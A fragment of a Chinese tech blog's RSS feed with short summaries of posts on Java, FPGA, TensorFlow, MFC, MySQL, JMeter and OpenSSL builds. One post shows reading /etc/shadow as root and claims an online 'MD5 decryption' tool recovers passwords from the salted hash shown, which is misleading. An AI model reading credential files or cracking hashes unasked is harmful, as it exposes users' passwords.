      <description>解决全局的jackson日期转换和解析&#xA;因为项目有些特殊，需要解析各种格式的日期类型转换，后来发现jackson在日期转换上没法满足需要。 遂重写了com.fasterxml.jackson.databind.util.StdDateFormat 和com.fasterxml.jackson.databind.DeserializationContext。 我的版本是jackson-databind-2.8.10 起初因为需要“yyyy-MM-dd HH:mm:ss”的日期格式直接显示，直接使用了@JsonFormat注解，设置“yyyy-MM-dd HH:mm:ss”，时区加八个小时。 但是被注解后，不管是解析还是json串，都一律是这个格式。只要不是这个格式那就是六亲不认！比如别人的api中接收我的格式时报错“Can not parse date “xx”: not compatible with any of standard forms (xxxx，xxxx)”，我的格式接收别人的api报错 “Failed to parse Date value ‘xx’: yyyy-MM-dd HH:mm:ss”。 于是我尝试在objectMapper中设置全局的DateFormat：&#xA;@Configuration public class WebConfig extends WebMvcConfigurerAdapter { @Override public void addResourceHandlers(ResourceHandlerRegistry registry) { registry.addResourceHandler(&#34;/statics/**&#34;).addResourceLocations(&#34;classpath:/statics/&#34;); } @Override public void extendMessageConverters(List&amp;lt;HttpMessageConverter&amp;lt;?&amp;gt;&amp;gt; converters) { MappingJackson2HttpMessageConverter jackson2HttpMessageConverter = new MappingJackson2HttpMessageConverter(); ObjectMapper objectMapper = jackson2HttpMessageConverter.getObjectMapper(); //json中多余的参数不报错，不想要可以改掉 objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); //设置全局的时间转化 SimpleDateFormat smt = new SimpleDateFormat(&#34;yyyy-MM-dd HH:mm:ss&#34;</description>
    </item>
    <item>
      <title>FPGA芯片手册阅读技巧</title>
      <link>https://bchobby.github.io/posts/7075138a856bcd97c5ff0f4c26299b92/</link>
      <pubDate>Fri, 12 Apr 2019 21:26:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7075138a856bcd97c5ff0f4c26299b92/</guid>
      <description>FPGA的管脚主要包括：用户I/O（User I/O）、配置管脚、电源、时钟及特殊应用管脚等。其中有些管脚可有多种用途，所以在设计FPGA电路之前，需要认真的阅读相应FPGA的芯片手册。&#xA;下面以ALTEra公司的Cyclone系列FPGA为例，介绍FPGA的各种功能管脚。&#xA;（1）用户I/O。&#xA;I/Onum（LVDSnumn）：可用作输入或输出，或者双向口，同时可作为LVDS差分对的负端。其中num表示管脚序号。&#xA;一般在绘制FPGA原理图时，将同一种功能和用途的管脚放在一个框图中，如图2.3所示是用户I/O的原理图。&#xA;（2）配置管脚。&#xA;MSEL［1..0］：用于选择配置模式。FPGA有多种配置模式，比如主动、被动、快速、正常、串行、并行等，可以此管脚进行选择。&#xA;DATA0：FPGA串行数据输入，连接至配置器件的串行数据输出管脚。&#xA;DCLK：FPGA串行时钟输出，为配置器件提供串行时钟。&#xA;nCSO（I/O）：FPGA片选信号输出，连接至配置器件的nCS管脚。&#xA;ASDO（I/O）：FPGA串行数据输出，连接至配置器件的ASDI管脚。&#xA;nCEO：下载链器件使能输出。在一条下载链（Chain）中，当第一个器件配置完成后，此信号将使能下一个器件开始进行配置。下载链的最后一个器件的nCEO应悬空。&#xA;图2.3 FPGA用户I/O原理图&#xA;nCE：下载链器件使能输入，连接至上一个器件的nCEO。下载链第一个器件的nCE接地。&#xA;nCONFIG：用户模式配置起始信号。&#xA;nSTATUS：配置状态信号。&#xA;CONF_DONE：配置结束信号。&#xA;如图2.4所示是FPGA配置管脚原理图。&#xA;图2.4 FPGA配置管脚原理图&#xA;（3）电源管脚。&#xA;VCCINT：内核电压。通常与FPGA芯片所采用的工艺有关，例如130nm工艺为1.5V，90nm工艺为1.2V。&#xA;VCCIO：端口电压。一般为3.3V，还可以支持选择多种电压，如5V、1.8V、1.5V等。&#xA;VREF：参考电压。&#xA;GND：信号地。&#xA;（4）时钟管脚。&#xA;VCC_PLL：锁相环管脚电压，直接连VCCIO。&#xA;VCCA_PLL：锁相环模拟电压，一般通过滤波器接到VCCINT上。&#xA;GNDA_PLL：锁相环模拟地。&#xA;GNDD_PLL：锁相环数字地。&#xA;CLKnum（LVDSCLKnump）：锁相环时钟输入。支持LVDS时钟输入，p接正端，num表示PLL序号。&#xA;CLKnum（LVDSCLKnumn）：锁相环时钟输入。支持LVDS时钟输入，n接负端，num表示PLL序号。&#xA;PLLnum_OUTp（I/O）：锁相环时钟输出。支持LVDS时钟输入，p接正端，num表示PLL序号。&#xA;PLLnum_OUTn（I/O）：锁相环时钟输出。支持LVDS时钟输入，n接负端，num表示PLL序号。&#xA;如图2.6所示是FPGA时钟管脚原理图。&#xA;图2.5 FPGA电源管脚原理图 图2.6 FPGA时钟管脚原理图&#xA;另外，FPGA的管脚中，有一些是全局时钟，这些管脚在FPGA中已经做好了时钟树。使用这些管脚作为关键时钟或信号的布线可以获得最佳性能。&#xA;（5）特殊管脚。&#xA;VCCPD：用于选择驱动电压。&#xA;VCCSEL：用于控制配置管脚和锁相环相关的输入缓冲电压。&#xA;PORSEL：上电复位选项。&#xA;NIOPULLUP：用于控制配置时所使用的用户I/O的内部上拉电阻是否工作。&#xA;TEMPDIODEn/p：用于关联温度敏感二极管。</description>
    </item>
    <item>
      <title>tfrecord读取时因tf.decode_raw的输出类型type导致的shape前后不一致问题</title>
      <link>https://bchobby.github.io/posts/9994afbfb01ed27790a8f7d1f4729d6c/</link>
      <pubDate>Fri, 12 Apr 2019 15:29:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9994afbfb01ed27790a8f7d1f4729d6c/</guid>
      <description>有两次在读取tfrecord中的数据时报shape的问题了！&#xA;是什么原因呢？ 慢慢debug才发现原来是数据类型的原因！！&#xA;在写入tfrecord时也就是将数据tobytes()的时候数据的类型是float32&#xA;但是在训练前读取tfrecord中数据tf.decode_raw时，用的是：&#xA;tf.decode_raw(frames, np.uint8)！！！ np.uint8指的是数据流输出np.uint8类型数据，因此前后的shape肯定不一致。&#xA;正确做法是将导入tfrecord和导出tfrecord的数据类型一致，如果想使用tf.decode_raw(frames, np.uint8)则在写入tfrecord时也就是将数据tobytes()的时候将数据变为uint8即可</description>
    </item>
    <item>
      <title>linux中查看用户密码及密码破解（加密方式）详解（/etc/shadow文件）</title>
      <link>https://bchobby.github.io/posts/b1205eb63f5783bdc0b79f4a5617d2e3/</link>
      <pubDate>Fri, 12 Apr 2019 11:44:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1205eb63f5783bdc0b79f4a5617d2e3/</guid>
      <description>我们知道linux是一个多用户的操作系统，也就是说在linux系统中存储着很多不同用户的用户名及密码。那么如果某一个用户的密码忘记了怎么办呢？&#xA;首先我们得知道，在linux系统中，用户名被存放在了/etc/passwd这个文件中；密码存放在/etc/shadow中。知道这两条重要的信息，那么后面的事情就简单很多了。&#xA;如果我们要查看某个用户的密码，我们得先登陆为超级用户才可查看：&#xA;su root&#xA;然后输入超级用户的登陆密码，紧接着，我们需要查看/etc/shadow中对应用户的密码：&#xA;cat /etc/shadow | grep *** #注意，我这里的***为用户名，即需要查看哪个用户名，这里就替换为该用户名&#xA;以我这里为例（我去掉了自己的用户名和密码密文）： 我们可以看到出来了一串字符，明显不是我们当初用的密码啊，这是怎么回事呢？这是因为为了安全，系统将我们的明文密码进行了加密。既然加密了，我们是不是要进行解密啊 。既然要解密，我们就得知道我们的系统使用了什么加密方式。我们输入以下指令：&#xA;authconfig --test | grep hashing&#xA;可以看到，我这里显示的密码加密方式为MD5，那就好办了，我们可以回到之前的问题了，我们只需要将我们的密文密码进行MD5解密即可得到我们实际的密码了。&#xA;我们回到之前的那一串字符串。在这里，我们对刚才的字符串进行一定的解释 。&#xA;（我们拿一串字符进行举例）&#xA;xxx:$1$Bg1H/4mz$X89TqH7tpi9dX1B9j5YsF.:17969:0:99999:7::: 上面字符串的格式为（大家有兴趣的朋友可以做详细了解，我们只需要找到我们的密文密码）：&#xA;{用户名}：{加密后的口令密码}：{口令最后修改时间距原点(1970-1-1)的天数}：{口令最小修改间隔(防止修改口令，如果时限未到，将恢复至旧口令)：{口令最大修改间隔}：{口令失效前的警告天数}：{账户不活动天数}：{账号失效天数}：{保留}&#xA;【注】：shadow文件为可读文件，普通用户没有读写权限，超级用户拥有读写权限。如果密码字符串为*，则表示系统用户不能被登入；如果字符串为！，则表示用户名被禁用；如果字符串为空，则表示没有密码。&#xA;我们可以使用passwd –d 用户名 清空一个用户的口令密码。&#xA;这样我们就清楚了， 上面的一串字符中，“xxx”为用户名，“$1$Bg1H/4mz$X89TqH7tpi9dX1B9j5YsF.”即为密文密码。&#xA;好了，现在我们拿到了密文密码，接下来我们就可以用它进行MD5解密。&#xA;我们可以在网上搜一个在线MD5解密工具，然后将我们的密文密码复制过去，你会惊奇的发现，我们的明文密码就这样拿到了，是不是很有意思呢？感兴趣的朋友可以自行测试。</description>
    </item>
    <item>
      <title>对话框在DLL中DoModal()返回-1？</title>
      <link>https://bchobby.github.io/posts/62dcd92654ea085ea95029bd8241f503/</link>
      <pubDate>Fri, 12 Apr 2019 09:59:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62dcd92654ea085ea95029bd8241f503/</guid>
      <description>情景：主工程调用封装的DLL，其中DLL里面有对话框，也就是说主工程调用DLL里的导出类的成员函数，成员函数再启动对话框。（直接导出（AFX_EXT_CLASS）对话框类的话会报错，具体还没研究）&#xA;DoModal()总是弹不出对话框，DoModal()返回值为-1，开始以为是资源ID等一系列的问题。MFC对话框DoMoal返回-1&#xA;检查了好几遍，又重新建对话框类，也还不行。但是主工程的对话框可以正常弹出。&#xA;后来考虑DLL导出有问题，重新建工程，终于发现工程建错了，晕！！！&#xA;MFC有三种DLL:MFC的3种DLL&#xA;之前选的第一种：MFC regular dll，后来选第三种：MFC extension dll可以正常弹出对话框了。&#xA;问题是解决；但仍然不是很清楚其内部的关联，下面可以参考研究：&#xA;Regular DLL(MFC规则DLL)、MFC...Extension DLL(MFC扩展DLL 区别&#xA;AFX_MANAGE_STATE(AfxGetStaticModuleState())的作用&#xA;MFC DLL 不能正确调用的问题 + AFX_MANAGE_STATE(AfxGetStaticModuleState());&#xA;[经验总结] MFC DLL——Regular DLL and Extension DLL（&#xA;加了AFX_MANAGE_STATE(AfxGetStaticModuleState());会有断言（有可能加的方式不对）&#xA;查了一下说是没有初始化，&#xA;加了：&#xA;if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))&#xA;{&#xA;//??_Module.LogEvent(_T(&#34;MFC初始化错误！&#34;), EVENTLOG_ERROR_TYPE );&#xA;return;&#xA;}&#xA;还是弹不出对话框，没时间研究了，有空再看。</description>
    </item>
    <item>
      <title>3分钟搭建SSM框架简单demo</title>
      <link>https://bchobby.github.io/posts/428d709bba71bd45fa08457d428f6c93/</link>
      <pubDate>Thu, 11 Apr 2019 21:29:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/428d709bba71bd45fa08457d428f6c93/</guid>
      <description>最近开始使用SSM（springMVC+spring+mybatis）组合框架开发一些小项目，为便于后面开发使用，故特此写一个小的demo&#xA;首先，我们来看目录结构&#xA;第一步：创建SSM项目，项目名为TestDemo&#xA;第二步：导相关jar包（jar包下载地址：https://mvnrepository.com/tags/maven），这里默认都会，就不做详细解释&#xA;第三步：配置相关配置文件：这里我分为spring-mvc.xml、spring.xml、spring-mybatis.xml以及config.properties四个配置文件分别配置spring-mc，spring以及mybatis框架&#xA;spring-mvc.xml配置如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt;&#xA;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:mvc=&#34;http://www.springframework.org/schema/mvc&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns:p=&#34;http://www.springframework.org/schema/p&#34; xmlns:context=&#34;http://www.springframework.org/schema/context&#34; xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans&#xA;http://www.springframework.org/schema/beans/spring-beans-4.0.xsd&#xA;http://www.springframework.org/schema/context&#xA;http://www.springframework.org/schema/context/spring-context-3.0.xsd&#xA;http://www.springframework.org/schema/mvc&#xA;http://www.springframework.org/schema/mvc/spring-mvc-3.2.xsd&#34;&amp;gt;&#xA;&amp;lt;!-- 扫描包路径 --&amp;gt;&#xA;&amp;lt;context:component-scan base-package=&#34;com.fy&#34;/&amp;gt;&#xA;&amp;lt;!-- 视图映射设定 --&amp;gt;&#xA;&amp;lt;bean id=&#34;viewResolver&#34; class=&#34;org.springframework.web.servlet.view.InternalResourceViewResolver&#34;&amp;gt;&#xA;&amp;lt;property name=&#34;prefix&#34; value=&#34;/WEB-INF/&#34;&amp;gt;&amp;lt;/property&amp;gt;&#xA;&amp;lt;property name=&#34;suffix&#34; value=&#34;.jsp&#34;&amp;gt;&amp;lt;/property&amp;gt;&#xA;&amp;lt;/bean&amp;gt;&#xA;&amp;lt;!-- 处理静态资源 --&amp;gt;&#xA;&amp;lt;mvc:default-servlet-handler/&amp;gt;&#xA;&amp;lt;mvc:annotation-driven content-negotiation-manager=&#34;contentNegotiationManager&#34; /&amp;gt;&#xA;&amp;lt;bean id=&#34;contentNegotiationManager&#34; class=&#34;org.springframework.web.accept.ContentNegotiationManagerFactoryBean&#34;&amp;gt;&#xA;&amp;lt;property name=&#34;favorPathExtension&#34; value=&#34;false&#34; /&amp;gt;&#xA;&amp;lt;property name=&#34;favorParameter&#34; value=&#34;false&#34; /&amp;gt;&#xA;&amp;lt;property name=&#34;ignoreAcceptHeader&#34; value=&#34;false&#34; /&amp;gt;&#xA;&amp;lt;/bean&amp;gt;&#xA;&amp;lt;/beans&amp;gt;&#xA;spring.xml配置如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt;&#xA;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:xsi=&#34;</description>
    </item>
    <item>
      <title>python 计算器(四则运算)</title>
      <link>https://bchobby.github.io/posts/8ebf8e2337a903787f1e14abefdf8f67/</link>
      <pubDate>Thu, 11 Apr 2019 20:22:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ebf8e2337a903787f1e14abefdf8f67/</guid>
      <description>学习来自：https://www.cnblogs.com/zingp/p/8666214.html 感谢！&#xA;思路：&#xA;考虑的四则运算符号 : [&#34;+&#34;, &#34;-&#34;, &#34;*&#34;, &#34;/&#34;, &#34;(&#34;, &#34;)&#34;] 获取表达式字符串 --》表达式切分 (请注意区分 减号&#34;-&#34;, 与负号&#34;-&#34; ) --》 先出初切： formula_list = [i for i in re.split(&#39;(\-\d\.?\d*)&#39;, formula) if i] 然后再判定： if re.search(&#39;[\+\-\*\/\(]$&#39;, final_formula[-1]): 其他正常切分就行： item_split = [i for i in re.split(&#39;([\+\-\*\/\(\)])&#39;, item) if i] 得到合适的 字符子串 --》 区分 属于 数字栈 还是 操作符栈 -》存好后运算逻辑 遍历表达式split后结果，如果数字来了需要压栈，进入 num_stack,如果运算符来了，判定： 第一个运算符 直接压栈新的后面的运算符来了，先拿出之前的运算符栈中最后的运算符弹出，比较优先级 如果优先级相同，数字栈弹出后两个元素与老运算符操作 -&amp;gt; 得到的结果压入数字栈如果优先级不同，新的运算符压栈注意，如果老运算符弹出为“(”, 新运算符目前为“)”，-&amp;gt; 弹出老的&#34;(&#34;， 丢弃新的“)”所有item结束后，数字栈和运算符栈中可能还有元素，再搞一波，最后结果在 num_stack中 代码：&#xA;import re def calculate(n1, n2, operator): if operator == &#34;</description>
    </item>
    <item>
      <title>FLASK 错误 pymysql.err.InternalError: (1698, &#34;Access denied for user &#39;root&#39;@&#39;localhost&#39;&#34;) 解决办法</title>
      <link>https://bchobby.github.io/posts/a2c0d826f28fdf21020fde0ff64933df/</link>
      <pubDate>Thu, 11 Apr 2019 16:49:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2c0d826f28fdf21020fde0ff64933df/</guid>
      <description> 这里可能是数据库的问题&#xA;先查询数据库的mysql.user 表单&#xA;mysql&amp;gt; select user, plugin from mysql.user; 发现是这里的错误 关于auth_socket 请自行查看官方说明&#xA;把这里改一下就可以了&#xA;update mysql.user set authentication_string=PASSWORD(&#39;newPwd&#39;), plugin=&#39;mysql_native_password&#39; where user=&#39;root&#39;; flush privileges; 再重新启动服务就可以了&#xA;systemctl stop mariadb systemctl start mariadb </description>
    </item>
    <item>
      <title>ThreadLocal类的重写初始化方法</title>
      <link>https://bchobby.github.io/posts/0c80c3d43790e1c4431023d6dec22a46/</link>
      <pubDate>Thu, 11 Apr 2019 09:30:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c80c3d43790e1c4431023d6dec22a46/</guid>
      <description> 重写初始化方法使用,使其能够创建默认初始值 用一个内部类重写他的init方法&#xA;import java.util.HashMap; import java.util.Map; public class MyExecuteContext { //让ThreadLocal里面有一个默认的类即在初始化时 new 出来 protected final static ThreadLocal&amp;lt;Map&amp;lt;Object, Object&amp;gt;&amp;gt; threadContext = new MapThreadLocal(); private static class MapThreadLocal extends ThreadLocal&amp;lt;Map&amp;lt;Object, Object&amp;gt;&amp;gt; { @Override protected Map&amp;lt;Object, Object&amp;gt; initialValue() { return new HashMap&amp;lt;&amp;gt;(); } } public static void main(String[] args) { Map&amp;lt;Object, Object&amp;gt; objectObjectMap = threadContext.get(); System.out.println(objectObjectMap==null); } } </description>
    </item>
    <item>
      <title>微信公众号---扫描带参数二维码事件，EventKey数据不完整，只有数字，我遇到的问题，困扰很久，再次做记录</title>
      <link>https://bchobby.github.io/posts/a903e9094c09af003251a94a5377b9d7/</link>
      <pubDate>Tue, 09 Apr 2019 17:20:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a903e9094c09af003251a94a5377b9d7/</guid>
      <description>但是获取String evkey = requestMap.get(“EventKey”);的时候只有十位数字：&#xA;例如：scene_id= “4028098169dd83ab0169dda9e23c0006”,获取到的EventKey只是4028098169&#xA;此问题已经解决&#xA;是因为在获取ticket 得时候，因为我的sceneId是String串，双引号缺失的问题导致的，这块要注意.&#xA;如：此处</description>
    </item>
    <item>
      <title>【C#】将IconFont的字体图标库转为图片</title>
      <link>https://bchobby.github.io/posts/72d856422b37d0303c6a4d5b3dc8fa35/</link>
      <pubDate>Tue, 09 Apr 2019 11:44:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72d856422b37d0303c6a4d5b3dc8fa35/</guid>
      <description>字体库的图标是从https://www.iconfont.cn/下载来的。使用的是扩展名为TTF的字体库文件。把TTF文件导入到项目资源中。&#xA;Graphics这个类有个方法DrawString，可以把文字直接画出来。但是效果不是很好，需要对最后画出来的图片做处理。最直观的影响最终效果的是：图片带着空白部分。&#xA;字体图标库处理:&#xA;1.定义枚举类：&#xA;/// &amp;lt;summary&amp;gt; /// 图标枚举 /// &amp;lt;/summary&amp;gt; public enum IconFontChars { _None = 32, /// &amp;lt;summary&amp;gt; /// AI /// &amp;lt;/summary&amp;gt; AI = 0xec66, /// &amp;lt;summary&amp;gt; /// api接口 /// &amp;lt;/summary&amp;gt; apiJK_api接口 = 0xe697, /// &amp;lt;summary&amp;gt; /// API接入 /// &amp;lt;/summary&amp;gt; APIJR_API接入 = 0xec19, /// &amp;lt;summary&amp;gt; /// 方块+(原名称) /// &amp;lt;/summary&amp;gt; FK_方块 = 0xec06, /// &amp;lt;summary&amp;gt; /// 方块- /// &amp;lt;/summary&amp;gt; FK_方块1 = 0xec07 } 上面这个枚举是写了一个工具，把下图的UniCode部分提取出来&#xA;工具下载&#xA;2.定义图标类：&#xA;public class IconFont { /// &amp;lt;summary&amp;gt; /// 默认字体图标 /// &amp;lt;/summary&amp;gt; private IconFontChars _Icon = IconFontChars.</description>
    </item>
    <item>
      <title>NB-IOT中eNB是什么，eNB的作用是什么</title>
      <link>https://bchobby.github.io/posts/426a98705b6bd7fc71a7662589c25c5f/</link>
      <pubDate>Tue, 09 Apr 2019 10:22:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/426a98705b6bd7fc71a7662589c25c5f/</guid>
      <description>eNB是什么 eNB简单说就是代表基站，是UE(用户)与核心网之间的桥梁；eNB相互之间通过X2接口通信；&#xA;eNB的作用 ●无线资源管理功能：无线承载控制、无线接入控制、连接移动性控制、UE上下行资源动态分配和调度等。&#xA;●用户数据流的加密和IP报头压缩。&#xA;●当UE附着时所提供的信息不能确定到达某个MME的路由时，eNB为UE选择一个MME。&#xA;●将用户平面数据路由到相应的S-GW。&#xA;●MME发起的寻呼消息的调度和发送。&#xA;●MME或O&amp;amp;M发起的广播信息的调度和发送。&#xA;●用于移动性和调度的测量以及测量报告配置。&#xA;●MME发起的PWS（PublicWarningSystem，公共预警系统，包括ETWS和CMAS）消息的调度和发送。&#xA;●CSG处理。&#xA;eNB之间X2通信 eNB之间通过X2可以获取UE信息，让UE快速接入其他eNB。</description>
    </item>
    <item>
      <title>在线时间校准接口</title>
      <link>https://bchobby.github.io/posts/8a683c5f7b0a0e24bdf4d15fa0d909bb/</link>
      <pubDate>Mon, 08 Apr 2019 16:19:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a683c5f7b0a0e24bdf4d15fa0d909bb/</guid>
      <description>苏宁接口：http://quan.suning.com/getSysTime.do&#xA;淘宝接口：http://api.m.taobao.com/rest/api3.do?api=mtop.common.getTimestamp&#xA;苏宁接口时间是标准的字符串模式，可以直接使用，淘宝接口返回的是Long型，比较大小比较方便</description>
    </item>
    <item>
      <title>jmeter聚合报告各参数详解</title>
      <link>https://bchobby.github.io/posts/8caa3bf28a4524db078d30f62011519f/</link>
      <pubDate>Mon, 08 Apr 2019 11:12:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8caa3bf28a4524db078d30f62011519f/</guid>
      <description>Jmeter的聚合报告参数详解：&#xA;#在执行前，需要设置好一个csv空文件，将执行结果刷到该文件中，方便演示各参数实例计算值，导出的报告示例如下#&#xA;Label：就是请求名称&#xA;#Samples：总线程数，值 = 线程数 * 循环次数&#xA;Average：单个请求的平均响应时间，值 = 总运行时间 / 发送到服务器的总请求数，截图中的值是这么计算出来的&#xA;&amp;gt;login：(6 + 15) / 2 = 10.5 约等于10&#xA;&amp;gt;j_acegi_security_check：(102 + 121) / 2 = 111.5 约等于111&#xA;&amp;gt;总体：(10 + 111) / 2 = 60.5 约等于61&#xA;Median、90%line、95%line、99%line分别代表50%的用户响应时间、90%的用户响应时间、95%的用户响应时间、99%的用户响应时间，也就是有百分之多少的请求小于这个值。其中，90%line是性能测试中比较重要的一个衡量指标。&#xA;Min：最小响应时间&#xA;Max：最大响应时间&#xA;Error%：错误率，发生错误的请求 / 总请求数，上面示例中错误率为0，再看下面这个示例 login的错误率 = 32 / 500 =0.064&#xA;Throughput：吞吐量，表示每秒完成的请求数。我们重新跑任务来演示吞吐量是怎么计算出来的&#xA;login请求是这么计算的：&#xA;最后一个线程的启动时间1554690590634 + 最后一个线程执行了多久的时间4 -第一个线程的启动时间1554690589729 = 909 毫秒 = 0.909s&#xA;总线程数10 / 线程持续运行的时间0.909s = 11.0/sec&#xA;也就是login的吞吐量是每秒11个请求&#xA;注意总体吞吐量是对所有请求中的第一个、最后一个请求启动时间来计算的，而不是简单的对各个请求吞吐量相加求平均值。&#xA;KB/sec：以每秒发送的千字节为单位测量的吞吐量【这个值怎么计算出来的还没研究出来，知道的小伙伴评论区告诉我一下啊】&#xA;**最后这两个一个是每秒多少请求 一个是每秒多少字节 注意区别</description>
    </item>
    <item>
      <title>CentOS6.9处理python3.7.2版本SSL问题</title>
      <link>https://bchobby.github.io/posts/c7e18323c5b953429bc8eb3dbdf4493a/</link>
      <pubDate>Mon, 08 Apr 2019 10:27:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7e18323c5b953429bc8eb3dbdf4493a/</guid>
      <description>本文转载自昔日暖阳，原文地址：http://www.osheep.cn/4802.html&#xA;什么场景下可能用到？&#xA;1、最近为了部署一个Python应用到腾讯云服务器，在使用pip安装依赖模块时，总是因为需要HTTPS访问，无法安装模块。2、当然，如果你再python应用中无法进行请求https的链接，并提示SSL模块无法使用，这个依然适用。3、python3.7版本要求openssl的版本在1.0.2以上，所以就装呗。4、… 小提示：&#xA;首先要安装openssl，因为python3需要引用openssl模块，但是CentOS需要的openssl版本最低为1.0.2，但是CentOS 默认的为1.0.1，所以需要重新更新openssl&#xA;下面就直接出击了，一遍下来，稳妥！&#xA;一、安装openssl1.1.1版本 （1）使用yum安装相关依赖包，如果服务器yum有问题，找我上一篇文章处理。 yum install -y zlib zlib-dev openssl-devel sqlite-devel bzip2-devel libffi libffi-devel gcc gcc-c++ （2）下载、解压缩、自定义安装 # 下载 wget http://www.openssl.org/source/openssl-1.1.1.tar.gz # 解压缩 tar -zxvf openssl-1.1.1.tar.gz # 进入目录安装 cd openssl-1.1.1 # 进行配置下，自定义 ./config --prefix=$HOME/soft-repos/openssl shared # 编译并安装 make &amp;amp;&amp;amp; make install # 配置到用户环境变量，随处使用 echo &#34;export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$HOME/soft-repos/openssl/lib&#34; &amp;gt;&amp;gt; $HOME/.bash_profile # 是环境变量配置生效 source $HOME/.bash_profile 二、安装python3.7.2版本 （1）安装相关依赖包，如果服务器yum有问题，找我上一篇文章处理。 yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make libffi-devel -y yum install python-pip -y （2）下载并安装 # 下载3.</description>
    </item>
    <item>
      <title>对于C语言重复包含/重复定义的解决（gcc）</title>
      <link>https://bchobby.github.io/posts/1c1765d9eb38a14a5d776e99e4dc81f1/</link>
      <pubDate>Thu, 04 Apr 2019 23:07:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c1765d9eb38a14a5d776e99e4dc81f1/</guid>
      <description> 使用条件编译指令&#xA;例如：&#xA;a.h: int fun(); b.h: #include &#34;a.h&#34; c.h: #include &#34;a.h&#34; main.c: #include &#34;b.h&#34; #include &#34;c.h&#34; ...... //编译时就会出现重复包含/定义错误 可以加入条件编译指令#ifndef #endif&#xA;​a.h: #ifndef A_FUN #define A_FUN int fun(); #endif b.h: #include &#34;a.h&#34; c.h: #include &#34;a.h&#34; main.c: #include &#34;b.h&#34; #include &#34;c.h&#34; ...... //编译时就会出现重复包含/定义错误 给出几个建议：&#xA;可以将要包含的头文件统一include到 .c/.cpp文件中，这样就会单独解析，不会发生错误。&#xA;或者直接include在头文件中，然后.c/.cpp文件里include自己的头文件，但头文件的函数要加上条件编译指令。例如：&#xA;b.h: #include &#34;a.h&#34; #include &#34;c.h&#34; b.c: #include &#34;b.h&#34; </description>
    </item>
    <item>
      <title>CYPRESS 集成开发环境(IDE)WICED Studio的使用</title>
      <link>https://bchobby.github.io/posts/02fe100a074a2adfaad8eba73d916983/</link>
      <pubDate>Thu, 04 Apr 2019 17:23:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02fe100a074a2adfaad8eba73d916983/</guid>
      <description>好记性不如烂笔头，既然不够聪明，就乖乖的做笔记，温故而知新。&#xA;目录 打开WICED选择SDK包SDK例程代码入口编译和下载 简介 WICED Studio是Cypress继承自Broadcom的开发环境，适用于cypress收购broadcom IOT的单芯片开发；当然现在cypress已经发布了整合PSoc Creator和WICED的全新开发环境Modus Toolbox.以后再讲Modus Toolbox。&#xA;如果你用过eclipse或者居于eclipse开发而来的IDE，那么你是用WICED Studio没有任何压力，WICED Studio也是在eclipse基础上开发而来。作为一款功能强大并且开源的软件，很多厂商的IDE都是在它的基础上开发而来，例如英飞凌的 DAVA、Dialog的 SmartSnippets Studio等；&#xA;一、打开WICED Studio如下界面； 二、选择SDK包； 三、SDK例程； 目前WICED6.2自带CYW20706/CYW20719/CYW20735等芯片的SDK&#xA;四、代码入口； 以&#34;app/snip/hal/gpio&#34;为例：&#xA;很多MCU工程师习惯了找&#34;main&#34;，用WICED的话别找了，找不到，WICED的main函数放在底层；&#xA;APPLICATION_START( ) { wiced_set_debug_uart( WICED_ROUTE_DEBUG_TO_PUART ); wiced_hal_puart_select_uart_pads( WICED_PUART_RXD, WICED_PUART_TXD, 0, 0); WICED_BT_TRACE( &#34;GPIO application start\n\r&#34; ); wiced_bt_stack_init( sample_gpio_app_management_cback,NULL,NULL); } APPLICATION_START( )是整个代码的上层入口；&#xA;在这里，一般会设置debug模式；设置buff pool；设置transport；设置蓝牙协议栈的回调函数sample_gpio_app_management_cback()，这个回调函数将处理蓝牙协议栈的message。&#xA;APPLICATION_START( )跑完后；底层将返回一个&#34;BTM_ENABLED_EVT&#34;的message；应用层执行sample_gpio_app_management_cback()，在BTM_ENABLED_EVT下完成用户应用代码的初始化。&#xA;/* Bluetooth stack enabled */ case BTM_ENABLED_EVT: /* Initializes the GPIO driver */ wiced_bt_app_hal_init(); /* Sample function configures LED pin as output * sends a square wave on it * if testing pin 31 then disable puart*/ gpio_test_led( ); /* Sample function configures GPIO as input.</description>
    </item>
    <item>
      <title>ApiBoot DataSource Switch 使用文档</title>
      <link>https://bchobby.github.io/posts/bebdcbc5cf262d477998219c7db607f9/</link>
      <pubDate>Thu, 04 Apr 2019 03:48:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bebdcbc5cf262d477998219c7db607f9/</guid>
